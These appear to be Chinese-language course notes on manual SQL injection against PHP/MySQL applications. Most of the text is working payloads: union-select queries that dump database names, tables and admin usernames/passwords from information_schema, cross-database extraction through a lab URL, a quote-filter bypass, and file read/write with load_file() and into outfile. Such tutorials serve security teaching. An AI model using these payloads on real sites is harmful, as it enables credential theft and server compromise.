目录
PHP-MYSQL-Web组成架构
PHP-MYSQL-SQL常规查询
手工注入
order by 6(代表的是当前表名下的列名有几个)
union select 1,2,3,4,5,6
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘demo01’
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=‘admin’ and table_schema=‘demo01’
union select 1,2,3,username,password,6 from admin limit 0,1
PHP-MYSQL-SQL跨库查询
影响条件:当前数据库ROOT用户权限
测试不同数据库用户:root demo
跨库注入
通过B网站的注入点获取A网站的账号密码
获取mysql下所有数据库名:
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=‘zblog’
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=‘zblog’ and table_name=‘zbp_member’
解决:单引号过滤绕过方式
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)
PHP-MYSQL-SQL文件读写
影响条件:
- 当前数据库用户权限(高权限)
- secure-file-priv设置(限制目录路径读写的配置)
测试不同数据库用户:root demo
select load_file()
select 'a' into outfile 'd:/www.txt'
读:union select 1,load_file('d:\\1.txt'),3,4,5,6
写:union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'
读写的路径的问题:
1、报错显示获取路径
2、phpinfo页面泄漏
如果不知道路径思路:
利用常见的默认的中间件,数据库等安装配置文件读取有价值信息(比较难)